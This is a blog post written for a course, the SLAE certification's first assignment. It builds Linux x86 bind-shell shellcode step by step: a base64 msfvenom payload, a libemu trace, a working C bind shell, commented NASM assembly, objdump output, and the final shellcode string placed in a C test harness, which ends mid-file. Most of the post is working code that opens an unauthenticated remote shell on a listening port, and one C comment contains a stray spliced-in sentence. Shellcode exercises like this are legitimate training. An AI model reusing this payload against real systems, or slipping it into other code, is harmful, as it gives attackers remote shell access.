52 Minute Read
Student ID: SLAE-1250

Assignment One: Creating Shellcode to Bind a Shell Over TCP

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html

All code can be found in: https://github.com/securitychops/security-tube-slae32

All work was tested on a 32bit version of Ubuntu 12.10

TLDR; - JMP short Final_Shellcode


Alright, if you are still here (or returned execution back, ha!) then lets press on with the full break down on how to complete assignment one!

Analysis of MSFVenom Shellcode with libemu

The first thing that I wanted to do was to generate a raw payload of the tcp shell bind in msfvenom in order to analyze what it was doing. As a side note, anytime that I move things via the clipboard (or web), I tend to base64 encode them as it makes moving the data around much simpler.

Since the version of ubuntu that I was working with was so old I had to get creative and ended up use my kali VM to generate the raw payload for analysis in libemu

The msfvenom command I used was as follows:

msfvenom -p linux/x86/shell_bind_tcp | base64

which produced the following output:

Mdv341NDU2oCieGwZs2AW15SaAIAEVxqEFFQieFqZljNgIlBBLMEsGbNgEOwZs2Ak1lqP1jNgEl5+GgvL3NoaC9iaW6J41BTieGwC82A

msfvenom

after moving the base64 encoded contents into a file on the x86 Ubuntu VM I converted it back to raw with:

cat msf-shell-b64 | base64 -d > msf-shell-raw

followed by the following command to start to analysis in libemu:

cat msf-shell-raw | /opt/libemu/bin/sctest -vvv -Ss 100000 -G msf-shell-bind.dot

Once I had generated the emulated behavior of the shellcode I was then able to piece together what system calls were being made so that I could recreate the program in C in order to have a better understanding of what the path forward in assembly would look like. I found this excercise to be incredibly beneficial as it gave me a roadmap of functions I needed to code 1:1.

The following text block is a dump of the higher level output of the system calls being made by the shellcode from msfvenom (through libemu):

int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int bind (
     int sockfd = 14;
     struct sockaddr_in * my_addr = 0x00416fc2 => 
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 23569 (port=4444);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 0 (host=0.0.0.0);
             };
             char sin_zero = "       ";
         };
     int addrlen = 16;
) =  0;
int listen (
     int s = 14;
     int backlog = 0;
) =  0;
int accept (
     int sockfd = 14;
     sockaddr_in * addr = 0x00000000 => 
         none;
     int addrlen = 0x00000010 => 
         none;
) =  19;
...
int dup2 (
     int oldfd = 19;
     int newfd = 0;
) =  0;
int execve (
     const char * dateiname = 0x00416fb2 => 
           = "/bin//sh";
     const char * argv[] = [
           = 0x00416faa => 
               = 0x00416fb2 => 
                   = "/bin//sh";
           = 0x00000000 => 
             none;
     ];
     const char * envp[] = 0x00000000 => 
         none;
) =  0;


Now that we knew what functions were being called it was a good bit more straightforward in understanding what we needed to do to recreate the payload from msfvenom in C.

Below is the completed (and functional) C proof of concept code the recreates a TCP bound shell:

C Proof of Concept

// Student ID: SLAE-1250
// Student Name: Jonathan "Chops" Crosby
// Assignment 1: Shell Bind TCP (Linux/x86) C variant

// Higher level version of shell bind in
// order to eventually  map it to needed assembly

// compile with: gcc shell-bind-tcp.c -o shell-bind-tcp

#include <stdio.h>
#include <unistd.h> /*needed for execve */
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h> /* memset */

//used examples from the following URLs to work out the C code
//https://www.thegeekstuff.com/2011/12/c-socket-programming/?utm_source=feedburner
int main(int argc, char *argv[])
{
	//local varsIn order to pass the [SLAE64](https://www.pentesteracademy.com/course?id=7) a student needs to create 
	int serverFileDescriptor;
	int clientFileDescriptor;
	int portNumber = 8888;

	//struct to hold all the info needed to bind
	struct sockaddr_in serverAddress;

	//clear out the memory in the struct
	memset(&serverAddress, '0', sizeof(serverAddress));

	//http://man7.org/linux/man-pages/man7/ip.7.html
	//AF_INET is the address family and is always set to AF_INET
	serverAddress.sin_family = AF_INET;

	//https://linux.die.net/man/3/htonl
	//http://man7.org/linux/man-pages/man7/ip.7.html
	//When INADDR_ANY is specified in the bind call, the socket will be bound to all local interfaces.
	serverAddress.sin_addr.s_addr = htonl(INADDR_ANY);

	//https://linux.die.net/man/3/htons
	serverAddress.sin_port = htons(portNumber);

	//http://man7.org/linux/man-pages/man2/socket.2.html
	//create a new TCP socket and associate it to our server File Descriptor
			     //socket(int domain, int type   , int protocol);
			     //AF_INET     - http://man7.org/linux/man-pages/man2/socket.2.html
			     //SOCK_STREAM - http://man7.org/linux/man-pages/man2/socket.2.html
			     //IPPROTO_IP  - http://man7.org/linux/man-pages/man7/ip.7.html
	serverFileDescriptor = socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

	//http://man7.org/linux/man-pages/man2/bind.2.html
	//binding to all local interfaces on the specified port
	bind(serverFileDescriptor, (struct sockaddr*)&serverAddress, sizeof(serverAddress));

	//http://man7.org/linux/man-pages/man2/listen.2.html
	//listening on the server file descriptor with an infinate backlog
	listen(serverFileDescriptor, 0);

	//http://man7.org/linux/man-pages/man2/accept.2.html
	//accept the incoming connection
	clientFileDescriptor = accept(serverFileDescriptor, (struct sockaddr*)NULL, NULL);

	//we now need to duplicate the file descriptors from standard
	//0, 1 and 2 to our newely connected client
	int i; //needed to get around C99 mode
	for(i=0; i<=2; i++)
	{
		//http://man7.org/linux/man-pages/man2/dup2.2.html
		//dup2 will clone file descriptors, so we are cloning
		//the standard system file descriptors onto our newly
		//connected client
		dup2(clientFileDescriptor, i);
	}

	//now that all of our file descriptors are duplicated
	//we need to execute /bin/sh, which will touch the standard
	//file descriptors ... that will then be associated to the
	//the connected client

	//execute "/bin/sh"
	//http://man7.org/linux/man-pages/man2/execve.2.html
	execve("/bin/sh", NULL, NULL);
}
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-1/shell-bind-tcp.c


The following screenshots show our C program in action:

Running on Ubuntu Server:

Running on Ubuntu Server

Connecting from local client:

Connecting from local client


From the above screenshots we can see that the ifconfig matches … so we are really connected!

Converting from C to Assembly

If you remember, when we ran sctest we included an argument called “-G msf-shell-bind.dot”. Doing this allowed for the generation of a wonderfully useful image showing what the assembly instructions within the shellcode were actually doing, as well as the system commands being executed via those instructions.

In order to generate the following image we simply ran the following command:

dot msf-shell-bind.dot -Tpng -o a1-msf-shell-bind.png


Which produced the following output:

Control Flow of Shellcode

Armed with the knowledge provided by the control flow graph from libemu we are now in a much better position to start trying to piece together our assembly code to do the same things that our C code did.

The list of things that we will need to reproduce will be as follows:

  1. Create a socket
  2. Bind the socket
  3. Listen on the socket for an incoming connection
  4. Duplicate the file descriptors to 0,1 and 2
  5. Execute /bin/sh via Execve
  6. Profit!

Before continuing on, here is a wonderful resource for dealing with syscalls within Linux: https://syscalls.kernelgrok.com/

You can also find a less friendly version on your x86 Ubuntu machine located at: /usr/include/i386-linux-gnu/asm/unistd_32.h

Several things to take into consideration when using a syscall on an x86 Linux based architecture is the convention used when dealing with parameters:

You will trigger the syscall by loading values into the eax register and pass parameters in the other registers as such:

syscall param 1 param 2 param 3 param 4 param 5 param 6
eax ebx ecx edx esi edi ebp


and then calling the 0x80 interrupt which will store the return value from the syscall in eax

Creating the Socket

Now that we have gone into detail about how to use syscalls and the registers, etc we are going to proceed to deviate slightly. As fate would have it, when making a syscall for anything related to sockets we end up needing to leverage subfunctions…

While it was easy to use C code to open a socket:

serverFileDescriptor = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

It becomes slightly more involved in assembly, as we need to leverage something called a socketcall, which has a decimal value of 102 (0x66 in hex).

The function signature for socketcall looks like the following:

int socketcall(int call, unsigned long *args);

Ok, that is neat and all, but how on earth can we get a socket opened up with that?

The following table shows the integer values for the calls that need to be made in order to create different types of socket calls

#define SYS_SOCKET         1        /* sys_socket(2)        */
#define SYS_BIND           2        /* sys_bind(2)          */
#define SYS_CONNECT        3        /* sys_connect(2)       */
#define SYS_LISTEN         4        /* sys_listen(2)        */
#define SYS_ACCEPT         5        /* sys_accept(2)        */
#define SYS_GETSOCKNAME    6        /* sys_getsockname(2)   */
#define SYS_GETPEERNAME    7        /* sys_getpeername(2)   */
#define SYS_SOCKETPAIR     8        /* sys_socketpair(2)    */
#define SYS_SEND           9        /* sys_send(2)          */
#define SYS_RECV          10        /* sys_recv(2)          */
#define SYS_SENDTO        11        /* sys_sendto(2)        */
#define SYS_RECVFROM      12        /* sys_recvfrom(2)      */
#define SYS_SHUTDOWN      13        /* sys_shutdown(2)      */
#define SYS_SETSOCKOPT    14        /* sys_setsockopt(2)    */
#define SYS_GETSOCKOPT    15        /* sys_getsockopt(2)    */
#define SYS_SENDMSG       16        /* sys_sendmsg(2)       */
#define SYS_RECVMSG       17        /* sys_recvmsg(2)       */
#define SYS_ACCEPT4       18        /* sys_accept4(2)       */
#define SYS_RECVMMSG      19        /* sys_recvmmsg(2)      */
#define SYS_SENDMMSG      20        /* sys_sendmmsg(2)      */

So, in order to create a new socket what we need to do is make a call like:

socketcall(1, socket(AF_INET, SOCK_STREAM, IPPROTO_IP))

In order to do that we will still start by putting our syscall value into eax like we would normally do, however from there things will deviate a little in that we need to know that we will be leveraging ebx to store the value for SYS_SOCKET and ecx for storing the values of our parameters for socket()…still with me?

Ok, on we press …

Let us take a moment to revisit the code that was used in our proof of concept C program to create the socket:

socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

In order to make the syscall to socket we will first need to determine the values for each of the parameters being passed in:

AF_INET is defined as 2 as listed in /usr/include/asm-generic/socket.h

SOCK_STREAM is defined as 1 as listed in /usr/include/asm-generic/socket.h

IPPROTO_IP is defined as 0 as listed in: /usr/include/linux/in.h

The assembly code for making that call would look like the following:

xor eax, eax     ; zeroing out edx to set IPPROTO_IP to 0
push eax         ; pushing IPPROTO_IP onto stack
push byte 0x01   ; pushing SOCK_STREAM onto stack
push byte 0x02   ; pushing AF_INET onto stack

mov ecx, esp     ; moving address of parameter structure into ecx 

xor eax, eax     ; zeroing out eax
mov al, 0x66     ; moving socketcall value into eax

xor ebx, ebx     ; zeroing out ebx
mov bl, 0x01     ; moving SYS_SOCKET into ebx

int 0x80         ; call kernel interrupt

xchg eax, esi    ; esi now contains our socketid
                 ; and eax contains whatever was in esi

Rinse and Repeat

Now that we know what we have to do, we simply have to work through each and every function within the C codebase and port it over to assembly. There are some tricky to speed this up but I elected not to take them as I wanted to make sure each instruction being executed was fully understood.

I can tell you I learned a heck of a lot about assembly that I just didn’t know before…

This exercise was well worth it!

Below is my fully functional Assembly code proof of concept, complete with in depth comments and drawings of the the registers and their values too!

Assembly Code Proof of Concept

; Student ID   : SLAE-1250
; Student Name : Jonathan "Chops" Crosby
; Assignment 1 : Shell Bind TCP (Linux/x86) Assembly
; File Name    : shell-bind.nasm

global _start

section .text
_start:

; for all socket based calls we will need to use socketcall
; http://man7.org/linux/man-pages/man2/socketcall.2.html
; 
; the relevant calls we will need to make will be:
; -----
; SYS_SOCKET        socket(2)   0x01
; SYS_BIND          bind(2)     0x02
; SYS_CONNECT       connect(2)  0x03
; SYS_LISTEN        listen(2)   0x04
; SYS_ACCEPT        accept(2)   0x05
; -----
; due to the way the registers need to be loaded up we will need to
; make the call to cocketcall by loading the following info into 
; the following registers
; -----
; eax : 0x66 (this is the value of socketcall)
; ebx : SYS_* value (0x01, etc)
; ecx : pointer to address on stack of parameters to subfunction

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int socket(domain, type , protocol)
; ASM version:  socketcall(SYS_SOCKET, socket(AF_INET,SOCK_STREAM,IPPROTO_IP))
; Returns    :  socketid into eax
; ----- 
; Param Values: 
;   #define AF_INET     2   /* Internet IP Protocol */          
;   http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;
;   #define SOCK_STREAM 1   /* stream (connection) socket */    
;   http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;
;   #define IPPROTO_IP  0
;   If the protocol argument is zero, the default protocol for this address family and type shall be used. 
;   http://pubs.opengroup.org/onlinepubs/009695399/functions/socket.html
; -----
; Registers before calling socketcall: 
;
; /---eax---\   /---ebx---\   /--------ecx---------\   
; |   0x66  |   |   0x01  |   |  byte, byte, byte  |
; \---------/   \---------/   |  0x02  0x01  0x00  |
;                             \--------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; push params to the stack last first

xor eax, eax     ; zeroing out edx to set IPPROTO_IP to 0
push eax         ; pushing IPPROTO_IP onto stack
push byte 0x01   ; pushing SOCK_STREAM onto stack
push byte 0x02   ; pushing AF_INET onto stack

mov ecx, esp     ; moving address of parameter structure into ecx 

xor eax, eax     ; zeroing out eax
mov al, 0x66     ; moving socketcall value into eax

xor ebx, ebx     ; zeroing out ebx
mov bl, 0x01     ; moving SYS_SOCKET into ebx

int 0x80         ; calling interupt which triggers socketcall

; registers after calling socktcall

; /----eax----\   /---ebx---\   /--------ecx---------\
; |  socketid  |  |   0x01  |   |  *address to struct |
; \------------/  \---------/   \---------------------/

; eax now contains our socketid, since eax is volitale 
; lets put it somewhere safe, like esi

xchg eax, esi    ; esi now contains our socketid
                 ; and eax contains whatever was in esi

; /----eax----\   /---ebx---\   /--------ecx---------\   /---esi---\
; |   garbage  |  |   0x01  |   |  *address to struct |  | socketid |
; \------------/  \---------/   \---------------------/  \---------/


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int bind(socketid, (struct sockaddr*)&serverAddress, sizeof(serverAddress))
; ASM version:  socketcall(SYS_BIND, bind(socketid, (struct sockaddr*)&serverAddress, sizeof(serverAddress))
; ----- 
; Param Values: 
;   socketid         /* currently stored in esi */
;
;   &serverAddress   /* memory on the stack for sockaddr */
;       * http://pubs.opengroup.org/onlinepubs/7908799/xns/netinetin.h.html 
;       * Values of this type must be cast to struct sockaddr for use with the socket interfaces
;        
;     this parameter is a struct of sockaddr_in which has the following structure
;
;     struct sockaddr_in {
;         sa_family_t    sin_family; /* address family: AF_INET */
;         in_port_t      sin_port;   /* port in network byte order */
;         struct in_addr sin_addr;   /* internet address */
;                   /* Internet address. */
;                   struct in_addr {
;                       uint32_t   s_addr; /* address in network byte order */
;                };
;
;     sa_family_t
;       #define AF_INET     2   /* Internet IP Protocol */          
;       http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;     
;     in_port_t /* port in network byte order / big endian */
;       https://en.wikipedia.org/wiki/Endianness
;       port 9876 would be: word 0x2694
;
;     sin_addr / * uint32_t ia 4 bytes */
;       ip bound to will be 0.0.0.0
;       ip would be: dword 0x00
;
;   sizeof(serverAddress)   /* this value represents bytes, so 4 bytes is 32bits */
;       the value here is 16 bytes or 0x10h which is ultimaly 32bits
; -----
;
; Registers before calling socketcall: 
;
; /---eax---\   /---ebx---\   /--------------------------ecx-----------------------------\
; |   0x66  |   |   0x02  |   |  socketid, mem of server address struct, size of struct  |
; \---------/   \---------/   |     esi                ecx                    0x10       |
;                             \-------------------------|--------------------------------/
;                                                       |
;                                     /--nested ecx/server address struct--\
;                                     | sa_family_t, in_port_t, in_addr    |
;                                     |    byte        word      dword     |
;                                     |    0x02       0x2694     0x00      |
;                                     \------------------------------------/
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; we need to create the first stack pointer for sockaddr_in

xor edx, edx
push edx            ; moving 0.0.0.0 into address
push word  0x5C11   ; port number (least significant byte first ... 0x115C is 4444)
push word  0x02     ; AF_INET - which is 0x02

mov ecx, esp        ; move stack pointer to ecx

push byte 0x10      ; 16 byts long (or 32bit)

push ecx            ; pushing sockaddr_in into esp

push esi            ; sockid already in esi, so pushing it

mov ecx, esp        ; moving stack pointer to ecx

; from the previous call ebx is already 0x01
; lets increment it by one
inc ebx             ; increasing ebx from 1 to 2

xor eax, eax        ; zeroing out eax
mov al, 0x66        ; moving socketcall value into eax

int 0x80            ; calling interupt which triggers socketcall

; registers after calling socktcall

; /----eax----\   /---ebx---\   /--------ecx---------\   /---esi---\
; |  unneeded  |  |   0x02  |   |  *address to struct |  | socketid |
; \------------/  \---------/   \---------------------/  \---------/


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int listen(socketid, backlog);
; ASM version:  socketcall(SYS_LISTEN, listen(socketid, 1))
; ----- 
; Param Values: 
;   socketid  /* currently stored in esi */
;
;   backlog   /* setting it to 1 to make sure only one client can connect*/
; -----
; Registers before calling socketcall: 
;
; /---eax---\   /---ebx---\   /--------ecx---------\   
; |   0x66  |   |   0x04  |   |  socketid, backlog  |
; \---------/   \---------/   |     esi      0x01   |
;                             \--------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; we need to create the first stack pointer for the parameters

push byte 0x01      ; moving backlog number to stack

push esi            ; moving socketid to stack

mov ecx, esp        ; moving stack pointer to ecx

xor ebx, ebx        ; zeroing out ebx
mov bl, 0x04        ; setting ebx to 0x04

xor eax, eax        ; zeroing out eax
mov al, 0x66        ; moving socketcall value into eax
                    ; register value: 0x00000066h

int 0x80            ; calling interupt which triggers socketcall

; registers after calling socktcall

; /----eax----\   /---ebx---\   /--------ecx---------\   /---esi---\
; |  unneeded  |  |   0x04  |   |  *address to params |  | socketid |
; \------------/  \---------/   \---------------------/  \---------/


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int accept(socketid, (struct sockaddr*){NULL}, socklen_t {NULL})
; ASM version:  socketcall(SYS_ACCEPT, accept(socketid, (struct sockaddr*) {NULL}, socklen_t {NULL})
; Returns    :  file descriptor for the accepted socket into eax
; ----- 
; Param Values: 
;   socketid  /* currently stored in esi */
;
;   struct sockaddr null memory location - 16 bytes of null
;   https://beej.us/guide/bgnet/html/multi/sockaddr_inman.html
;
;        struct sockaddr {
;            unsigned short    sa_family;    // address family, AF_xxx
;            char              sa_data[14];  // 14 bytes of protocol address
;        };
;
;   socklen_t null memory location
;   http://pubs.opengroup.org/onlinepubs/009696699/basedefs/sys/socket.h.html
;   The <sys/socket.h> header shall define the type socklen_t, which is an integer 
;   type of width of at least 32 bits; see APPLICATION USAGE.

; -----
; Registers before calling socketcall: 
;
; /---eax---\   /---ebx---\   /------------------ecx-------------------\
; |   0x66  |   |   0x04  |   |  socketid, struct sockaddr, socklen_t  |
; \---------/   \---------/   |     esi        edx             edx     |
;                             \----------------------------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

xor edx, edx     ; null out edx

push edx         ; move 32bit null to stack

push edx         ; move 32bit null to stack

push esi         ; move socketid to stack

mov ecx, esp     ; move function params to ecx

; from the previous call ebx is already 0x04
; lets increment it by one
inc ebx             ; increasing ebx from 4 to 5

xor eax, eax     ; zeroing out eax
mov al, 0x66     ; moving socketcall value into eax

int 0x80         ; calling interupt which triggers socketcall

; registers after calling socktcall
;
; /----eax----\   /---ebx---\   /--------ecx---------\   /---esi---\
; |  clientid  |  |   0x05  |   |  *address to params |  | socketid |
; \------------/  \---------/   \---------------------/  \---------/


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int dup2(clientid, localDiscripToDuplicate);
; ASM version:  standard syscall using same format as above
; ----- 
; Param Values: 
;   clientid                        /* currently stored in eax */
;
;   localDiscripToDuplicate         /* 0, 1, 2 file descriptors to duplicate */
; -----
; Registers before calling dup2: 
;
; /---eax---\   /---ebx----\   /-------------ecx---------------\
; |   0x3f  |   |  sockid  |   |  file descriptor to dplicate  |
; \---------/   \----------/   |          2, 1 adnd 0          |
;                              \-------------------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

mov ebx, eax        ; moving clientid from eax to ebx

                    ; now we need a loop to run through for
                    ; 0, 1 and 2

xor ecx, ecx        ; zeroing out ecx
mov cl, 0x03        ; moving syscall for dup2

dupin:
    xor eax, eax        ; zeroing out eax
    mov al, 0x3f        ; setting syscall value for dup2
    dec cl              ; decreasing loop counter since we
                        ; will need to deal with only 2, 1 and 0
    int 0x80            ; syscall triggering listen
    jnz dupin           ; if the zero flag is not set then do it again

; registers after calling socktcall
; 
; since we don't care about any return values
; we don't bother tracking register values

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int execve(const char *filename, char *const argv[], char *const envp[]);
; ASM version:  standard syscall using same format as above
; ----- 
; Param Values: 
;   filename     /* path of elf32 to execute */
;
;   argv         /* standard argv, first param is full path to elf32 null terminated */
;
;   envp        /* any environmental specific things, null in our case */
; -----
; Registers before calling execve: 
;
; /---eax---\   /----------------ebx--------------------\   /-------------ecx---------------\
; |   0x0B  |   | stack address if //bin/sh,0x00000000  |   |  stack address to 0x00000000  |
; \---------/   \---------------------------------------/   \-------------------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; call execve in order to complete the local bind shell
; execve("/bin/sh", argv[], envp[]);
; argv needs to be Address of /bin/sh, 0x00000000
; this is because when you call something from bash, etc
; argv will contain the path of the executable within it

; before starting we look like:
; execve(NOT-SET-YET, NOT-SET-YET, NOT-SET-YET)

; First we need to get 0x00000000 into ebx somehow
; so lets zero out eax and push it to esp

xor eax, eax    ; zeroing out eax to make it 0x00000000
push eax        ; pushing 0x00000000 onto the stack (esp)

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; esp now looks like: 0x00000000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; pushing "//bin/sh" (8 bytes and reverses due to little endian)
push 0x68732f6e ; hs/n : 2f68732f into esp
push 0x69622f2f ; ib// : 6e69622f into esp

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;esp now looks like: "//bin/sh,0x00000000";
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; since we have been pushing to the stack, we have been pushing to esp
; now we need to get "//bin/sh,0x00000000" into ebx since it is the first parameter for execve
; since esp contains exactly what we need we move it to ebx

mov ebx, esp    ; moving the param to ebx
                ; ebx now contains "//bin/sh,0x00000000"

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", NOT-SET-YET, NOT-SET-YET);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; now we need to get 0x00000000 into edx
push eax        ; eax is still 0x00000000 so push it to esp
mov  edx, esp   ; we need to move a 0x00000000 into 
                ; the third parameter in edx

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", NOT-SET-YET, 0x00000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; the second parameter is needs to be "//bin/sh,0x00000000"
; which we can accomplish by moving ebx onto the stack
; and then moving esp into ecx since it will be on the stack

push ebx        ; pushing "//bin/sh,0x00000000" back to the stack
mov  ecx, esp   ; moving the address of ebx (on the stack) to ecx

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", *"//bin/sh,0x00000000", 0x00000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; loading syscall execve
mov al, 0x0B    ; syscall for execve is 11 dec / 0x0B hex
int 0x80
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-1/shell-bind.nasm


At this point we have a functional assembly program that will shell bind and allow us to connect to it

Just to prove this is indeed working lets first assemble and link the assembly code with the following command:

The command to assemble and link is:

nasm -f elf32 -o shell-bind.o shell-bind.nasm
ld -o shell-bind shell-bind.o

With that done we can now reconnect like we did with the C program:

assembly proof of concept compile

After which we are able to connect to it from netcat!

assembly proof of concept netcat connect

Now that we have the proof of the connection out of the way … how exactly do we get shellcode from the assembly code?

Shellcode is not magic, although it always used to feel like magic to me! It is nothing more than the hexidecimal dump of the assembly application. In order to see what the hexidecimal values are we can run objdump with several commands to see the hex codes associated to our assembly intructions with the following command:

objdump -d -M intel shell-bind


Which produces the following output:

08048060 <_start>:
 8048060:	31 c0                	xor    eax,eax
 8048062:	50                   	push   eax
 8048063:	6a 01                	push   0x1
 8048065:	6a 02                	push   0x2
 8048067:	89 e1                	mov    ecx,esp
 8048069:	31 c0                	xor    eax,eax
 804806b:	b0 66                	mov    al,0x66
 804806d:	31 db                	xor    ebx,ebx
 804806f:	b3 01                	mov    bl,0x1
 8048071:	cd 80                	int    0x80
 8048073:	96                   	xchg   esi,eax
 8048074:	31 d2                	xor    edx,edx
 8048076:	52                   	push   edx
 8048077:	66 68 11 5c          	pushw  0x5c11
 804807b:	66 6a 02             	pushw  0x2
 804807e:	89 e1                	mov    ecx,esp
 8048080:	6a 10                	push   0x10
 8048082:	51                   	push   ecx
 8048083:	56                   	push   esi
 8048084:	89 e1                	mov    ecx,esp
 8048086:	43                   	inc    ebx
 8048087:	31 c0                	xor    eax,eax
 8048089:	b0 66                	mov    al,0x66
 804808b:	cd 80                	int    0x80
 804808d:	6a 01                	push   0x1
 804808f:	56                   	push   esi
 8048090:	89 e1                	mov    ecx,esp
 8048092:	31 db                	xor    ebx,ebx
 8048094:	b3 04                	mov    bl,0x4
 8048096:	31 c0                	xor    eax,eax
 8048098:	b0 66                	mov    al,0x66
 804809a:	cd 80                	int    0x80
 804809c:	31 d2                	xor    edx,edx
 804809e:	52                   	push   edx
 804809f:	52                   	push   edx
 80480a0:	56                   	push   esi
 80480a1:	89 e1                	mov    ecx,esp
 80480a3:	43                   	inc    ebx
 80480a4:	31 c0                	xor    eax,eax
 80480a6:	b0 66                	mov    al,0x66
 80480a8:	cd 80                	int    0x80
 80480aa:	89 c3                	mov    ebx,eax
 80480ac:	31 c9                	xor    ecx,ecx
 80480ae:	b1 03                	mov    cl,0x3

080480b0 <dupin>:
 80480b0:	31 c0                	xor    eax,eax
 80480b2:	b0 3f                	mov    al,0x3f
 80480b4:	fe c9                	dec    cl
 80480b6:	cd 80                	int    0x80
 80480b8:	75 f6                	jne    80480b0 <dupin>

080480ba <shellin>:
 80480ba:	31 c0                	xor    eax,eax
 80480bc:	50                   	push   eax
 80480bd:	68 6e 2f 73 68       	push   0x68732f6e
 80480c2:	68 2f 2f 62 69       	push   0x69622f2f
 80480c7:	89 e3                	mov    ebx,esp
 80480c9:	50                   	push   eax
 80480ca:	89 e2                	mov    edx,esp
 80480cc:	53                   	push   ebx
 80480cd:	89 e1                	mov    ecx,esp
 80480cf:	b0 0b                	mov    al,0xb
 80480d1:	cd 80                	int    0x80


Now that we have working assembly code we needed to convert it to shellcode. Doing so will involve borrowing the following most excellent command line fu snippet:

objdump -d ./shell-bind|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
commandlinefu - shellcode from objdump


running that command against our linked assembly produces the following output:

\x31\xc0\x50\x6a\x01\x6a\x02\x89\xe1\x31\xc0\xb0\x66\x31\xdb\xb3\x01\xcd\x80\x96\x31\xd2\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\x31\xc0\xb0\x66\xcd\x80\x6a\x01\x56\x89\xe1\x31\xdb\xb3\x04\x31\xc0\xb0\x66\xcd\x80\x31\xd2\x52\x52\x56\x89\xe1\x43\x31\xc0\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf6\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80


which we can then insert into our proof of concept C program that will execute shellcode!

// Student ID   : SLAE-1250
// Student Name : Jonathan "Chops" Crosby
// Assignment 1 : Shell Bind TCP (Linux/x86) Assembly
// File Name    : shellcode.c

#include<stdio.h>
#include<string.h>

//compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack

unsigned char code[] = \
"\x31\xc0\x50\x6a\x01\x6a\x02\x89\xe1\x31\xc0\xb0\x66\x31\xdb\xb3\x01\xcd\x80\x96\x31\xd2\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\x31\xc0\xb0\x66\xcd\x80\x6a\x01\x56\x89\xe1\x31\xdb\xb3\x04\x31\xc0\xb0\x66\xcd\x80\x31\xd2\x52\x52\x56\x89\xe1\x43\x31\xc0\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf6\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

main()
{
